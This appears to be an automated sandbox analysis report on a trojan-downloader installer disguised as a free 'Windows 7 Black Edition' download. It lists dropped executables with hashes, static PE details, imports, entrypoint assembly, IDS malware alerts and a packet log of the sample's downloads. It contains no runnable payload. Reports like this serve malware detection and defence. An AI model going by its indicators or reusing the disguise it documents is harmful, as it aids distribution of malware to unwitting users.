MD5:	86901967EF0AD9C3B923B47DD6287DC2
SHA1:	6CB872609C48EC8ED31F1FFA809040B96F9A07B5
SHA-256:	5D3B8C81F5A9F0783129017D14C1C93FB63893EB3C3D278831D1728B62BF3CA2
SHA-512:	DBB9E418BD39AEFC9A1972FBB1CD52E4098A68E082926138BFB580513D30BA70151ACADFF384177046E46EB2066D1C2F468395A390C63A4E2FF66BC24D8F26EB
Malicious:	false
Preview:	e^......,........................8......3]......5^..........................................................................1...............................................................................................................................................................................{$..f.......................J.......................L...............j.......................J.......................................................................................................l...........4...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\is-4F7CE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312170764343569
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYH:CtLutqgwh4NYxtJpkxhGj333Ta
MD5:	A01758A08A93B1ACAB1B4331C5455387
SHA1:	7FC370A18E6560C7CCAE69434E12B540A746C772
SHA-256:	306BD13FA7DA08E508F7F0385BE8FFB6AD6B21A3F0C9050527F692E381139F9A
SHA-512:	7E6B28892E4CFA2D10F5B1EB886566097C5DF81109EC78DA6FF536FFDDC59A1A1B5FE533020DC2B52E3FDDFC356928178CB265EAF776138967B4E2A00A42B0B3
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Windows\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	InnoSetup Log Windows 7 Black Edition Free Download Full.exe, version 0x418, 6081 bytes, 528110\37\user\376, \350\001
Category:	dropped
Size (bytes):	6081
Entropy (8bit):	4.1806914312868875
Encrypted:	false
SSDEEP:	96:D1P1gan3OWUVMF0WnZd38M0Wn5Ehk3w1nQ1CUbcuJlEDA4MZAe2L0HhJlH/:D1P1gafjF0Ib0/KbP4DSm0Hvt/
MD5:	5598DFB3F53A6D4D25A100DF20B846CF
SHA1:	4CCB33B9B73D734FFF4D5BBD0B41B3A1E7441275
SHA-256:	1295A14A78489CD9791F667E67A06E085F5E655631114D11D448A3084BFD970C
SHA-512:	DDC0FB412A900BC184844A1D685AA59A54B801FDB43E646275FC2AC79D5A987B072D1E35B78B0CE5EF4B10391A087026C1137905A49A05C1320525B48137FFB1
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Windows 7 Black Edition Free Download Full.exe..................................................................................Windows 7 Black Edition Free Download Full.exe.................................................................................................................................................................................................................#.........#yW......;........5.2.8.1.1.0......j.o.n.e.s.....................9...... ..............IFPS....'........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TDOWNLOADWIZARDPAGE....TDOWNLOADWIZARDPAGE.........TNEWRADIOBUTTON....TNEWRADIOBUTTON..................TONDOWNLOADPROGRES

C:\Windows\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312170764343569
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYH:CtLutqgwh4NYxtJpkxhGj333Ta
MD5:	A01758A08A93B1ACAB1B4331C5455387
SHA1:	7FC370A18E6560C7CCAE69434E12B540A746C772
SHA-256:	306BD13FA7DA08E508F7F0385BE8FFB6AD6B21A3F0C9050527F692E381139F9A
SHA-512:	7E6B28892E4CFA2D10F5B1EB886566097C5DF81109EC78DA6FF536FFDDC59A1A1B5FE533020DC2B52E3FDDFC356928178CB265EAF776138967B4E2A00A42B0B3
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\winrar-x64-623.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3586840
Entropy (8bit):	7.95378887141996
Encrypted:	false
SSDEEP:	98304:kzBOBfKMpHGqcfsLyQecNEqCNCjRqGy5XYBHOhN2qlxR:kz/MpmJ0LdDLCAyiHOvl
MD5:	7A647AF3C112AD805296A22B2A276E7C
SHA1:	9CDF137E3F2493C9E141D5EC05F890E32B9B4E87
SHA-256:	20739E8FC050187AF013E2499718895E4C980699CCAF046B2F96B12497E61959
SHA-512:	71D86D8DC598AAFA91DA8E0D971D1BBB87135832B848547C5C611BC828D165625C7A19AF2CD300373190CF3EB782C714AC73D84ADA53B37B6D8C1EE8508BCD86
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........{.....V...V...V4hzW\|..Vga.V...Vga{W...Vga\|W...VgazW...V4h\|W...V4h{W...V4hyW...V4h~W...V..~V...ViazW...Via.W...Via.V...Via}W...VRich...V........................PE..d......d.........."....!............pU.........@.............................0.......%7...`.............................................4.......P........`...`..H-...r6.XH... ......P...T...............................@............................................text............................... ..`.rdata..............................@..@.data...tU..........................@....pdata..H-...`......................@..@.didat..0...........................@..._RDATA..\............"..............@..@.rsrc....p.......b...$..............@..@.reloc....... ......................@..B................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.4147215772357615
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
File size:	1'672'117 bytes
MD5:	f4d0cda8074bc59ff9f29168cd0866d1
SHA1:	8f6ec4b67cce5801ccc68f75560310ad88957e43
SHA256:	81b7fb00321a57d0632b50993d514d34e586e86564c1311224a97511914a90e3
SHA512:	ca592a2c133c7bc6795986a3da14d257b98ad96ebc76b7c1b181620e7a3bbdbe72c79d90b92eec41f778b5f47be21dc9a6acd8b702d9bdf6547ca3314bf8b11f
SSDEEP:	24576:s7FUDowAyrTVE3U5F/OyKic6QL3E2vVsjECUAQT45deRV9Rr:sBuZrEUZKIy029s4C1eH9F
TLSH:	A875BF3FF268A13EC56A1B3245B38320997BBA51B81A8C1E47FC344DCF765601E3B656
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007F7E00EA0535h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007F7E00F43027h
call 00007F7E00F42B7Ah
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F7E00EB5FD4h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007F7E00E9B127h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007F7E00EB7157h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F7E00F430AFh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F7E00F492CAh
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007F7E00EB7A4Ch
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x11000	0x11000	False	0.186279296875	data	3.695470889465485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7678	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0xc80e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0xc8748	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0xc8a30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0xc8b58	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0xca180	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0xcb028	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0xcb8d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0xcbe38	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0xcd120	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0xd1348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0xd38f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0xd4998	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_STRING	0xd4e00	0x360	data			0.34375
RT_STRING	0xd5160	0x260	data			0.3256578947368421
RT_STRING	0xd53c0	0x45c	data			0.4068100358422939
RT_STRING	0xd581c	0x40c	data			0.3754826254826255
RT_STRING	0xd5c28	0x2d4	data			0.39226519337016574
RT_STRING	0xd5efc	0xb8	data			0.6467391304347826
RT_STRING	0xd5fb4	0x9c	data			0.6410256410256411
RT_STRING	0xd6050	0x374	data			0.4230769230769231
RT_STRING	0xd63c4	0x398	data			0.3358695652173913
RT_STRING	0xd675c	0x368	data			0.3795871559633027
RT_STRING	0xd6ac4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd6d68	0x10	data			1.5
RT_RCDATA	0xd6d78	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd703c	0x2c	data			1.1363636363636365
RT_GROUP_ICON	0xd7068	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0xd7124	0x584	data	English	United States	0.2839943342776204
RT_MANIFEST	0xd76a8	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4104.21.38.5949737802839343 01/21/24-16:57:22.189069	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	49737	80	192.168.2.4	104.21.38.59
192.168.2.4104.21.61.5149729802047660 01/21/24-16:57:04.707119	TCP	2047660	ET MALWARE Win32/TrojanDownloader Variant Activity (GET)	49729	80	192.168.2.4	104.21.61.51

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2024 16:57:04.587524891 CET	49729	80	192.168.2.4	104.21.61.51
Jan 21, 2024 16:57:04.706223965 CET	80	49729	104.21.61.51	192.168.2.4
Jan 21, 2024 16:57:04.706588030 CET	49729	80	192.168.2.4	104.21.61.51
Jan 21, 2024 16:57:04.707118988 CET	49729	80	192.168.2.4	104.21.61.51
Jan 21, 2024 16:57:04.826586962 CET	80	49729	104.21.61.51	192.168.2.4
Jan 21, 2024 16:57:05.324117899 CET	80	49729	104.21.61.51	192.168.2.4
Jan 21, 2024 16:57:05.368417978 CET	49729	80	192.168.2.4	104.21.61.51
Jan 21, 2024 16:57:05.488743067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:05.607506037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:05.607666016 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:05.607831001 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:05.726263046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.724606037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.724673033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.724730968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.724750996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.724771023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.724812984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.724950075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.744741917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.744781017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.744817972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.744852066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.744885921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.744952917 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.745039940 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.745039940 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.745152950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.745191097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.745225906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.745260954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.745268106 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.745294094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.745304108 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.749274015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749337912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749378920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749416113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749449968 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.749454975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749449968 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.749536991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.749639988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749722958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749759912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749797106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749834061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.749969959 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.749969959 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.750559092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.750597954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.750618935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.750638962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.750675917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.750694990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.765281916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765322924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765360117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765396118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765434027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765564919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.765676022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765693903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.765714884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765750885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765763998 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.765788078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765824080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.765851021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.766460896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.766496897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.766515017 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.766535044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.766571045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.766585112 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.766613007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.766669035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.767222881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.767276049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.767313957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.767338991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.767347097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.767400980 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.778472900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778510094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778544903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778580904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778618097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778736115 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.778736115 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.778877974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778915882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778951883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.778953075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.778986931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.779005051 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.779023886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.779254913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.779547930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.779583931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.779622078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.779647112 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.779659986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.779699087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.779716969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.780797958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.780836105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.780858040 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.780872107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.780910969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.780930042 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.780947924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.781003952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.781227112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.781265020 CET	80	49730	104.21.23.90	192.168.2.4
